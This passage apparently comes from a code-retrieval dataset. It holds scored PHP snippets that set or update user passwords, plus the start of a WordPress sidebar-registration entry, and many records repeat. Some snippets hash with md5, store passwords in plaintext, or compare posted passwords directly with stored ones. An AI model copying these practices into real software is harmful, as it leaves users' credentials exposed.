:passhash\n\t\t\t\t\t\t\t\tWHERE id = :userid',\n [\n ':passhash' => [$userarr['passhash'], PDO::PARAM_STR],\n ':userid' => [$userarr['userid'], PDO::PARAM_INT],\n ]\n );\n }", "title": "" }, { "docid": "8c208312b94ab12147f4d3499c63812b", "score": "0.6913656", "text": "public static function setPassword($password)\n {\n self::$password = $password;\n }", "title": "" }, { "docid": "8c208312b94ab12147f4d3499c63812b", "score": "0.6913656", "text": "public static function setPassword($password)\n {\n self::$password = $password;\n }", "title": "" }, { "docid": "4c9d77c35037f476a45e69a7636398d5", "score": "0.69105273", "text": "public function setPassword($password)\n\t{\n\t\tif (function_exists('password_hash'))\n\t\t\t$this->Password = password_hash($password, PASSWORD_DEFAULT);\n\t\telse\n\t\t\t$this->Password = crypt($password);\n\n\t\t$this->regDirty['password'] = true;\n\t}", "title": "" }, { "docid": "667f50d683d9d961a317c3a3939c5032", "score": "0.6903333", "text": "public function setAuth($user,$password)\n {\n }", "title": "" }, { "docid": "55d63f6fc8f0a4ad671b36e825ef817b", "score": "0.6893587", "text": "public function password($password) {\n $this->password = $password;\n }", "title": "" }, { "docid": "c5d9734c7586bbd64482c671c62f7887", "score": "0.6891489", "text": "public function setPassword(string $userName, string $password)\n {\n $initKey = '';\n\n $req = $this->dbase->prepare('UPDATE users \n SET users.password = :password, users.init_key = :init_key\n WHERE users.name = :user_name');\n $req->bindParam(':password', $password, \\PDO::PARAM_STR);\n $req->bindParam(':init_key', $initKey, \\PDO::PARAM_STR);\n $req->bindParam(':user_name', $userName, \\PDO::PARAM_STR);\n\n return $req->execute();\n }", "title": "" }, { "docid": "eb96ed5aa1929c87a5a0440f63a54438", "score": "0.6890669", "text": "public function setPassword($password) {\n // Simple check - it should contain something\n if (!empty($password)) {\n //Now the password encryption is made by AuthenticationService,\n //so here, it should be just set.\n $this->password = $password;\n }\n }", "title": "" }, { "docid": "8899bcb64ddd7448eab2f58934840510", "score": "0.68803877", "text": "public function setPassword($password)\n {\n $this->password = $password;\n }", "title": "" }, { "docid": "8899bcb64ddd7448eab2f58934840510", "score": "0.68803877", "text": "public function setPassword($password)\n {\n $this->password = $password;\n }", "title": "" }, { "docid": "8899bcb64ddd7448eab2f58934840510", "score": "0.68803877", "text": "public function setPassword($password)\n {\n $this->password = $password;\n }", "title": "" }, { "docid": "8899bcb64ddd7448eab2f58934840510", "score": "0.68803877", "text": "public function setPassword($password)\n {\n $this->password = $password;\n }", "title": "" }, { "docid": "aa8a44ed6c65948bd1836dc4cb2f3a79", "score": "0.6876514", "text": "public function setPassword($password) {\n\t\t $this->password = $password;\n\t}", "title": "" }, { "docid": "9647c5dbed97832cbdc276aca8c4d5ac", "score": "0.6872649", "text": "public function setPassword($password) {\n\t\t$this->password = NovumWareHelpers::encryptPassword($password);\n\t}", "title": "" }, { "docid": "4ce4afd11b6644ec4860e2ea52276a57", "score": "0.68630666", "text": "public function setPassword($password){\n\t\t$this->password = $password;\n\t}", "title": "" }, { "docid": "1846368575518edd99e699e7af7db41b", "score": "0.6862671", "text": "public function updatePassword($user) {\n\t\t// user's current password\n\t\t$currentPassword = $user->get('password');\n\n\t\t// old password user entered in form\n\t\t$oldPass = $_POST['oldPass'];\n\n\t\t// if they match, update to new password\n\t\tif ($oldPass == $currentPassword) {\n\t\t\t$newPass = $_POST['newPass']; \n\t\t\t$user->set('password', $newPass);\n\t\t\t$user->save();\n\t\t}\n\t}", "title": "" }, { "docid": "3e69b7e6fbc9bf00ecda49cfe6a3b2a6", "score": "0.6855419", "text": "public function setPassword($password)\n {\n $this->pwd = Yii::$app->security->generatePasswordHash($password);\n }", "title": "" }, { "docid": "1615bf753d5d77485cfcb490d9615934", "score": "0.68406665", "text": "public function setPasswordAttribute($value)\n {\n if (isset($value)) {\n $this->attributes['password'] = $value;\n }\n }", "title": "" }, { "docid": "f663c13704783ff4585c57dda16fa268", "score": "0.6832393", "text": "public function passHach(string $user, string $password)\n {\n $passHash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12 ]);\n\n $sql = 'UPDATE P3User SET password = :password WHERE user = :user';\n $dbh = $this->getDatabase()->prepare($sql);\n $dbh->bindParam(':user', $user, PDO::PARAM_STR);\n $dbh->bindParam(':password', $passHash, PDO::PARAM_STR);\n\n $dbh->execute();\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "33c077836645cadd8fa6eb60f3922150", "score": "0.6818134", "text": "public function setPassword($value)\n {\n return $this->set('Password', $value);\n }", "title": "" }, { "docid": "8ad52714c6cd3b2a5bc39d3fc105f136", "score": "0.6814152", "text": "public function setPassword($password)\n {\n $this->password = $this->generatePasswordHash($password);\n }", "title": "" }, { "docid": "1b7afae8279560b3fca908ff0d0ccb40", "score": "0.6787842", "text": "public function setPassword($user, $password = '', $isencrypted = 0, $notrigger = 0, $nosyncuser = 0)\n\t{\n\t\tglobal $conf, $langs;\n\n\t\t$error=0;\n\n\t\tdol_syslog(get_class($this).\"::setPassword user=\".$user->id.\" password=\".preg_replace('/./i', '*', $password).\" isencrypted=\".$isencrypted);\n\n\t\t// If new password not provided, we generate one\n\t\tif (! $password)\n\t\t{\n\t\t\trequire_once DOL_DOCUMENT_ROOT.'/core/lib/security2.lib.php';\n\t\t\t$password=getRandomPassword(false);\n\t\t}\n\n\t\t// Crypt password\n\t\t$password_crypted = dol_hash($password);\n\n\t\t$password_indatabase = '';\n\t\tif (! $isencrypted)\n\t\t{\n\t\t\t$password_indatabase = $password;\n\t\t}\n\n\t\t$this->db->begin();\n\n\t\t// Mise a jour\n\t\t$sql = \"UPDATE \".MAIN_DB_PREFIX.\"adherent\";\n\t\t$sql.= \" SET pass_crypted = '\".$this->db->escape($password_crypted).\"'\";\n\t\t//if (! empty($conf->global->DATABASE_PWD_ENCRYPTED))\n\t\tif ($isencrypted)\n\t\t{\n\t\t\t$sql.= \", pass = null\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sql.= \", pass = '\".$this->db->escape($password_indatabase).\"'\";\n\t\t}\n\t\t$sql.= \" WHERE rowid = \".$this->id;\n\n\t\t//dol_syslog(\"Adherent::Password sql=hidden\");\n\t\tdol_syslog(get_class($this).\"::setPassword\", LOG_DEBUG);\n\t\t$result = $this->db->query($sql);\n\t\tif ($result)\n\t\t{\n\t\t\t$nbaffectedrows=$this->db->affected_rows($result);\n\n\t\t\tif ($nbaffectedrows)\n\t\t\t{\n\t\t\t\t$this->pass=$password;\n\t\t\t\t$this->pass_indatabase=$password_indatabase;\n\t\t\t\t$this->pass_indatabase_crypted=$password_crypted;\n\n\t\t\t\tif ($this->user_id && ! $nosyncuser)\n\t\t\t\t{\n\t\t\t\t\trequire_once DOL_DOCUMENT_ROOT.'/user/class/user.class.php';\n\n\t\t\t\t\t// This member is linked with a user, so we also update users informations\n\t\t\t\t\t// if this is an update.\n\t\t\t\t\t$luser=new User($this->db);\n\t\t\t\t\t$result=$luser->fetch($this->user_id);\n\n\t\t\t\t\tif ($result >= 0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$result=$luser->setPassword($user, $this->pass, 0, 0, 1);\n\t\t\t\t\t\tif ($result < 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$this->error=$luser->error;\n\t\t\t\t\t\t\tdol_syslog(get_class($this).\"::setPassword \".$this->error, LOG_ERR);\n\t\t\t\t\t\t\t$error++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->error=$luser->error;\n\t\t\t\t\t\t$error++;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (! $error && ! $notrigger)\n\t\t\t\t{\n\t\t\t\t\t// Call trigger\n\t\t\t\t\t$result=$this->call_trigger('MEMBER_NEW_PASSWORD', $user);\n\t\t\t\t\tif ($result < 0) { $error++; $this->db->rollback(); return -1; }\n\t\t\t\t\t// End call triggers\n\t\t\t\t}\n\n\t\t\t\t$this->db->commit();\n\t\t\t\treturn $this->pass;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->db->rollback();\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->db->rollback();\n\t\t\tdol_print_error($this->db);\n\t\t\treturn -1;\n\t\t}\n\t}", "title": "" }, { "docid": "a584afcc28597b621307837239330f3f", "score": "0.6774814", "text": "function testSetPassword() {\n $this->assertTrue($this->oObject->setPassword('moderator@example.com', 'funkypass', true));\n $this->assertFalse($this->oObject->setPassword('notexisting@example.com', 'funkypass', true));\n # unverified should not be able to reset their passwords\n $this->assertTrue($this->oObject->setPassword('unverified@example.com', 'funkypass', true));\n # reset the password, so we can still login later on in tests\n $this->assertTrue($this->oObject->setPassword('moderator@example.com', 'test', true));\n $this->assertTrue($this->oObject->setPassword('unverified@example.com', 'test', true));\n }", "title": "" }, { "docid": "127d5453a3fc67189cca65134aa51acc", "score": "0.6770934", "text": "private function _setGeneratedPasswordToUser(int $user_id) {\r\n \r\n $new_psw = Model::GeneratePassword(); // generate new password\r\n $new_psw_hashed = Model::PasswordHash($new_psw); // hash password\r\n\r\n // set new password to user\r\n $status = $this->_model->updateUserPassword($user_id, $new_psw_hashed);\r\n \r\n return $status ? $new_psw : null;\r\n }", "title": "" }, { "docid": "f05b5563134fe42a76a7028e6b1b1518", "score": "0.676937", "text": "public function setPassword($password)\n {\n $this->password = md5($password);\n }", "title": "" }, { "docid": "d833a2ac990893fb405b4a7fdf4dbe1c", "score": "0.6764823", "text": "public function canSetPassword(\\Gems_User_User $user = null)\n {\n return false;\n }", "title": "" }, { "docid": "d833a2ac990893fb405b4a7fdf4dbe1c", "score": "0.6764823", "text": "public function canSetPassword(\\Gems_User_User $user = null)\n {\n return false;\n }", "title": "" }, { "docid": "52a8a17a71c71243554c03277060bacf", "score": "0.67633235", "text": "public static function updatePassword(BackendUser $user, string $password): void\n {\n // fetch user info\n $userId = $user->getUserId();\n\n // update user\n BackendModel::getContainer()->get('database')->update(\n 'users',\n ['password' => BackendAuthentication::encryptPassword($password)],\n 'id = ?',\n $userId\n );\n\n // remove the user settings linked to the resetting of passwords\n self::deleteResetPasswordSettings($userId);\n }", "title": "" }, { "docid": "7f686cb4598f0df971d193a9a55b57db", "score": "0.6751653", "text": "public function setValidPassword() {\n //check if we have a password\n if ($this->getUserPassword()) {\n //hash the password\n $this->setPassword($this->hashPassword($this->getUserPassword()));\n } else {\n //check if the object is new\n if ($this->getId() === NULL) {\n //new object set a random password\n $this->setRandomPassword();\n //hash the password\n $this->setPassword($this->hashPassword($this->getUserPassword()));\n }\n }\n }", "title": "" }, { "docid": "7f686cb4598f0df971d193a9a55b57db", "score": "0.6751653", "text": "public function setValidPassword() {\n //check if we have a password\n if ($this->getUserPassword()) {\n //hash the password\n $this->setPassword($this->hashPassword($this->getUserPassword()));\n } else {\n //check if the object is new\n if ($this->getId() === NULL) {\n //new object set a random password\n $this->setRandomPassword();\n //hash the password\n $this->setPassword($this->hashPassword($this->getUserPassword()));\n }\n }\n }", "title": "" }, { "docid": "1aa79ee03f6bee4961ab1db0450738d8", "score": "0.67407", "text": "protected function resetPassword($user, $password)\n {\n $user->password = $password;\n\n $user->save();\n\n Auth::login($user);\n }", "title": "" }, { "docid": "fb2e981693c02644adf9541c0d0f1c8a", "score": "0.673735", "text": "public function setPassword($password)\n\t{\n\t\t$this->password = $password;\n\t}", "title": "" }, { "docid": "315b58120c15705eeaadec170bba9d89", "score": "0.67294383", "text": "public function setUserPassword($userPassword)\n {\n $this->userPassword = $userPassword;\n\n return $this;\n }", "title": "" } ]
a16648c1ab1ab89497e1c9c3b7c05634
ONE OPTIONAL SIDEBAR ON THE RIGHT. OFF BY DEFAULT, UNCOMMENT TO TURN BACK ON. register_sidebar(array( 'name' => 'sidebaroptional', 'before_widget' => '', 'after_widget' => '', 'before_title' => '', 'after_title' => '', )); THE FOLLOWING CODE DISPLAYS NAVIGATION LINKS (PREVIOUS/NEXT) IF THERE IS A NEED FOR THEM. SEE FOR DETAILS.
[ { "docid": "551a095ee75858649d159aca731d524e", "score": "0.0", "text": "function show_posts_nav() {\n\tglobal $wp_query;\n\treturn ($wp_query->max_num_pages > 1);\n}", "title": "" } ]
[ { "docid": "5a6afee309ff6acc456d10af845aa9cb", "score": "0.72098076", "text": "function cera_grimlock_sidebar_right() {\n\t\tif ( apply_filters( 'grimlock_template_sidebar_right_displayed', true ) && is_active_sidebar( 'sidebar-2' ) ) :\n\t\t\t?>\n\t\t\t<aside id=\"secondary-right\" class=\"widget-area sidebar region__col region__col--3\">\n\t\t\t\t<?php dynamic_sidebar( 'sidebar-2' ); ?>\n\t\t\t</aside><!-- #secondary-right -->\n\t\t\t<?php\n\t\tendif;\n\t}", "title": "" }, { "docid": "bfa96e35ae104aba93490b563d5c4aeb", "score": "0.7197564", "text": "function arphabet_widgets_init() {\n\n register_sidebar( array(\n 'name' => 'Home right sidebar',\n 'id' => 'home_right_1',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h2 class=\"rounded\">',\n 'after_title' => '</h2>',\n ) );\n }", "title": "" }, { "docid": "9c28def53596aca7d60312f85aac20dc", "score": "0.7177518", "text": "function add_widgets() {\n\n register_sidebar( array(\n 'name' => 'Right Sidebar',\n 'id' => 'right_sidebar',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h2>',\n 'after_title' => '</h2>',\n ) );\n}", "title": "" }, { "docid": "3bb241ce9ed750485dc618cec83cf235", "score": "0.71368796", "text": "function forty_register_sidebar() {\r\n\t$args = array(\r\n\t\t'id'\t\t\t=> 'footer_sidebar_left',\r\n\t\t'name'\t\t\t=> __( 'Footer Left Sidebar', 'forty' ),\r\n\t\t'description'\t=> __( 'Set your footer widgets from widgets area.', 'forty' ),\r\n\t\t'before_widget'\t=> '<div id=\"%1$s\" class=\"widget %2$s\">',\r\n\t\t'after_section'\t=> '</div>'\r\n\t);\r\n\tregister_sidebar($args);\r\n\r\n\t$args1 = array(\r\n\t\t'id'\t\t\t=> 'footer_sidebar_right',\r\n\t\t'name'\t\t\t=> __( 'Footer Right Sidebar', 'forty' ),\r\n\t\t'description'\t=> __( 'Set your footer widgets from widgets area.', 'forty' ),\r\n\t\t'before_widget'\t=> '<section id=\"%1$s\" class=\"split\">',\r\n\t\t'after_section'\t=> '</section>',\r\n\t\t'before_title' => '<span id=\"%1$s\" class=\"widget %2$s\"><h3>',\r\n 'after_title' => '</h3></span>'\r\n\t);\r\n\tregister_sidebar($args1);\r\n}", "title": "" }, { "docid": "4c7657774d046792b750e0f86523a4d9", "score": "0.71126634", "text": "function wpdocs_theme_slug_widgets_init() {\nregister_sidebar( array(\n'name' => __( 'Main Sidebar' ),\n'id' => 'sidebar_1',\n'description' => __( 'aprafiq is a man' ),\n'before_widget' => '<aside id=\"main_sidebar\">',\n'after_widget' => '</aside>',\n'before_title' => '<h2>',\n'after_title' => '</h2>',\n) );\n}", "title": "" }, { "docid": "edb4886989994d1087500536a3bab75b", "score": "0.7077032", "text": "function display_right_sidebar() {\n static $display;\n\n isset($display) || $display = in_array(false, [\n // The sidebar will NOT be displayed if ANY of the following return true.\n // @link https://codex.wordpress.org/Conditional_Tags\n is_home(),\n ]);\n\n return apply_filters('mytemplate/display_right_sidebar', $display);\n}", "title": "" }, { "docid": "d481f4553c5e85f4da8cba562b7c4ba2", "score": "0.7060891", "text": "function adelle_widgets_init() {\r\n register_sidebar(array(\r\n 'name' => __( 'Right Widget', 'adelle-theme' ),\r\n 'id' => 'right-widget',\r\n 'description' => 'Right side widget area',\r\n 'before_widget' => '<article id=\"%1$s\" class=\"side-widget %2$s\">',\r\n 'after_widget' => '</article>',\r\n 'before_title' => '<h3>',\r\n 'after_title' => '</h3>',\r\n ));\r\n}", "title": "" }, { "docid": "b869db1092a627c45996de40db1757d6", "score": "0.7048033", "text": "function elhero_sidebar()\r\n{\r\n register_sidebar( array(\r\n 'name' => 'MainSidebar',\r\n 'id' => 'main-sidebar',\r\n 'description' => 'appear evry were',\r\n 'class' => 'main_sidebar',\r\n 'before_widget' => '<div class=\"widget-content\">',\r\n 'after_widget' => '</div>',\r\n 'before_title' => '<h3 class=\"widget-title\">',\r\n 'after_title' => '</h3>'\r\n ));\r\n}", "title": "" }, { "docid": "302b78f6787887b3b06106291dd78b81", "score": "0.6988869", "text": "function arphabet_widgets_init() {\r\n register_sidebar( array(\r\n 'name' => 'Below main content',\r\n 'id' => 'home_right_1',\r\n 'before_widget' => '<div class=\"widget\">',\r\n 'after_widget' => '</div>',\r\n 'before_title' => '<h2 class=\"widget-title\">',\r\n 'after_title' => '</h2>',\r\n ) );\r\n //gallery side bar\r\n register_sidebar( array(\r\n 'name' => 'Gallery Main Page',\r\n 'id' => 'home_right_2',\r\n 'before_widget' => '<div class=\"gallery-widget\">',\r\n 'after_widget' => '</div>',\r\n 'before_title' => '<h2 class=\"gallery-widget-title\">',\r\n 'after_title' => '</h2>',\r\n ) );\r\n}", "title": "" }, { "docid": "4993b5d434b11e3d15ecabb06aad4c57", "score": "0.6979911", "text": "function add_widget_Support() {\n register_sidebar( array(\n 'name' => 'Sidebar',\n 'id' => 'sidebar',\n 'before_widget' => '<div>',\n 'after_widget' => '</div>',\n 'before_title' => '<h2>',\n 'after_title' => '</h2>',\n ) );\n}", "title": "" }, { "docid": "dcdba555126696360a7c9de1f3a21045", "score": "0.69542766", "text": "function add_widget_sidebar()\r\n{\r\n register_sidebar(\r\n array(\r\n 'name' => 'Sidebar',\r\n 'id' => 'main-sidebar',\r\n )\r\n );\r\n register_sidebar(\r\n array(\r\n 'name' => 'Sidebar du footer',\r\n 'id' => 'footer-sidebar',\r\n )\r\n );\r\n}", "title": "" }, { "docid": "492cadc9d97246a23cb0c2910e7473a7", "score": "0.6943025", "text": "function rb_sidebar_init()\n{\n register_sidebar( array(\n 'name' => __( 'Top Sidebar' ),\n 'id' => 'sidebar-top',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => \"</div>\",\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ) );\n}", "title": "" }, { "docid": "715da9cbf08352a3d21d322f2cd2d864", "score": "0.6919094", "text": "function theme_register_sidebar(){\n\n\n register_sidebar(array(\n 'name' => 'Main Sidebar',\n 'id' => 'main_sidebar',\n 'description' => 'Sidebar Principal',\n 'before_widget' => '',\n 'after_widget' => '',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ));\n register_sidebar(array(\n 'name' => 'Sidebar Secundario',\n 'id' => 'second_sidebar',\n 'description' => ' Side bar secundario',\n 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n 'after_widget' => '</div>',\n 'before_title' => '<h3 class=\"widget-title\">',\n 'after_title' => '</h3>',\n ));\n\n}", "title": "" }, { "docid": "c98e59d5e073209015bf39dd40c4bb2e", "score": "0.69190335", "text": "function anva_sidebar_layout_after_default() {\n\tif ( is_page() ) {\n\t\t\n\t\t$sidebar = anva_get_post_meta( '_sidebar_column' );\n\t\t\n\t\t// One sidebar\n\t\tif ( 'right' == $sidebar ) {\n\t\t\tanva_sidebars( 'right' );\n\n\t\t// Two sidebar\n\t\t} elseif ( 'double' == $sidebar ) {\n\t\t\tanva_sidebars( 'right' );\n\n\t\t// Two sidebar right\n\t\t} elseif ( 'double_right' == $sidebar ) {\n\t\t\tanva_sidebars( 'left' );\n\t\t\tanva_sidebars( 'right' );\n\t\t}\n\t}\n}", "title": "" }, { "docid": "0b9453d9dd7b4950ccba4c70df396fcd", "score": "0.6916532", "text": "function ft_hook_sidebar() {}", "title": "" }, { "docid": "bc9d9756ae6b55d354cfebf2b38dd7b7", "score": "0.6899358", "text": "function partoo_register_sidebars()\n\t{\n\n\t\t$sidebars = (array)apply_filters(\n\t\t\t'partoo_sidebars',\n\t\t\tarray(\n\t\t\t\t'sidebar-1' => array(\n\t\t\t\t\t'name' => '栏目页边栏',\n\t\t\t\t\t'description' => esc_html__('The primary sidebar appears alongside the content of every page, post, archive, and search template.', 'partoo'),\n\t\t\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</aside>',\n\t\t\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t\t\t'after_title' => '</h4>',\n\t\t\t\t),\n\t\t\t\t'sidebar-2' => array(\n\t\t\t\t\t'name' => '内容页边栏',\n\t\t\t\t\t'description' => esc_html__('The secondary sidebar will only appear when you have selected a three-column layout.', 'partoo'),\n\t\t\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</aside>',\n\t\t\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t\t\t'after_title' => '</h4>',\n\t\t\t\t),\n\t\t\t\t'sidebar-contact' => array(\n\t\t\t\t\t'name' => '联系页面边栏',\n\t\t\t\t\t'description' => '联系页面的边栏',\n\t\t\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</aside>',\n\t\t\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t\t\t'after_title' => '</h4>',\n\t\t\t\t),\n\t\t\t\t'footer-1' => array(\n\t\t\t\t\t'name' => '页脚',\n\t\t\t\t\t'description' => esc_html__('This sidebar is the first column of the footer widget area.', 'partoo'),\n\t\t\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</aside>',\n\t\t\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n\t\t\t\t\t'after_title' => '</h4>',\n\t\t\t\t),\n//\t\t\t\t'footer-2' => array(\n//\t\t\t\t\t'name' => esc_html__('Footer 2', 'partoo'),\n//\t\t\t\t\t'description' => esc_html__('This sidebar is the second column of the footer widget area.', 'partoo'),\n//\t\t\t\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n//\t\t\t\t\t'after_widget' => '</aside>',\n//\t\t\t\t\t'before_title' => '<h4 class=\"widget-title\">',\n//\t\t\t\t\t'after_title' => '</h4>',\n//\t\t\t\t),\n\t\t\t\t'home-area-1' => array(\n\t\t\t\t\t'name' => '首页焦点位置',\n\t\t\t\t\t'description' => '首页导航下方焦点位置',\n\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s container py-5\">',\n\t\t\t\t\t'after_widget' => '</div>',\n\t\t\t\t\t'before_title' => '<div class=\"title mb-5\"><h2>',\n\t\t\t\t\t'after_title' => '</div></h2>',\n\t\t\t\t),\n\t\t\t\t'home-fluid-area-grey' => array(\n\t\t\t\t\t'name' => '首页横幅位置',\n\t\t\t\t\t'description' => '首页中心横幅位置',\n//\t\t\t\t\t'before_widget' => '<section id=\"%1$s\" class=\"widget %2$s bg-world py-5\">',\n//\t\t\t\t\t'after_widget' => '</section>',\n//\t\t\t\t\t'before_title' => '<div class=\"title mb-5\"><h2>',\n//\t\t\t\t\t'after_title' => '</div></h2>',\n\t\t\t\t),\n\t\t\t\t'half-area-left' => array(\n\t\t\t\t\t'name' => '半块左侧',\n\t\t\t\t\t'description' => '用在两栏同时等高时',\n\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</div>',\n\t\t\t\t\t'before_title' => '<h5 class=\"title\">',\n\t\t\t\t\t'after_title' => '</h5>',\n\t\t\t\t),\n\t\t\t\t'half-area-right' => array(\n\t\t\t\t\t'name' => '半块右侧',\n\t\t\t\t\t'description' => '用在两栏同时等高时',\n\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</div>',\n\t\t\t\t\t'before_title' => '<h5 class=\"title\">',\n\t\t\t\t\t'after_title' => '</h5>',\n\t\t\t\t),\n\t\t\t\t'home-primary-color-area' => array(\n\t\t\t\t\t'name' => '首页横幅-2',\n\t\t\t\t\t'description' => '首页下方横幅位置',\n//\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s bg-success text-white p-5 text-center\">',\n//\t\t\t\t\t'after_widget' => '</div>',\n//\t\t\t\t\t'before_title' => '<div class=\"title mb-5\"><h2>',\n//\t\t\t\t\t'after_title' => '</div></h2>',\n\t\t\t\t),\n\t\t\t\t'home-container-left' => array(\n\t\t\t\t\t'name' => '首页下方固定宽度左侧',\n\t\t\t\t\t'description' => '首页下方固定宽度左侧',\n\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</div>',\n\t\t\t\t\t'before_title' => '<h5 class=\"title\">',\n\t\t\t\t\t'after_title' => '</h5>',\n\t\t\t\t),\n\t\t\t\t'home-container-right' => array(\n\t\t\t\t\t'name' => '首页下方固定宽度右侧',\n\t\t\t\t\t'description' => '首页下方固定宽度右侧',\n\t\t\t\t\t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t\t\t\t\t'after_widget' => '</div>',\n\t\t\t\t\t'before_title' => '<h5 class=\"title\">',\n\t\t\t\t\t'after_title' => '</h5>',\n\t\t\t\t),\n\t\t\t)\n\t\t);\n\n\t\tforeach ($sidebars as $id => $args) {\n\t\t\tregister_sidebar(array_merge(array('id' => $id), $args));\n\t\t}\n\t}", "title": "" }, { "docid": "1f437d3eea720abb9eb47908e368a6db", "score": "0.68959355", "text": "function WBootStrap_sidebar_init() {\n\tregister_sidebar( array(\n\t\t'name' => 'Page Sidebar',\n\t\t'id' => 'sidebar-page',\n\t\t'description' => 'Sidebar for pages',\n\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => \"</aside>\",\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t));\n\n\tregister_sidebar( array(\n\t\t'name' => 'Blog Sidebar',\n\t\t'id' => 'sidebar-posts',\n\t\t'description' => 'Sidebar for blog',\n\t\t'before_widget' => '<aside id=\"%1$s\" class=\"widget %2$s\">',\n\t\t'after_widget' => \"</aside>\",\n\t\t'before_title' => '<h3 class=\"widget-title\">',\n\t\t'after_title' => '</h3>',\n\t));\n\n \tregister_sidebar(array(\n \t'name' => 'Home Left',\n\t 'id' => 'home-left',\n\t 'description' => 'Left Sidebar on homepage',\n\t 'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n\t 'after_widget' => '</div>',\n\t 'before_title' => '<h2>',\n\t 'after_title' => '</h2>'\n\t));\n\n register_sidebar(array(\n \t'name' => 'Home Middle',\n \t'id' => 'home-middle',\n \t'description' => 'Middle Sidebar on homepage',\n \t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div>',\n \t'before_title' => '<h2>',\n \t'after_title' => '</h2>'\n \t));\n\n register_sidebar(array(\n \t'name' => 'Home Right',\n \t'id' => 'home-right',\n \t'description' => 'Right Sidebar on homepage',\n \t'before_widget' => '<div id=\"%1$s\" class=\"widget %2$s\">',\n \t'after_widget' => '</div>',\n \t'before_title' => '<h2>',\n \t'after_title' => '</h2>'\n \t));\n\n 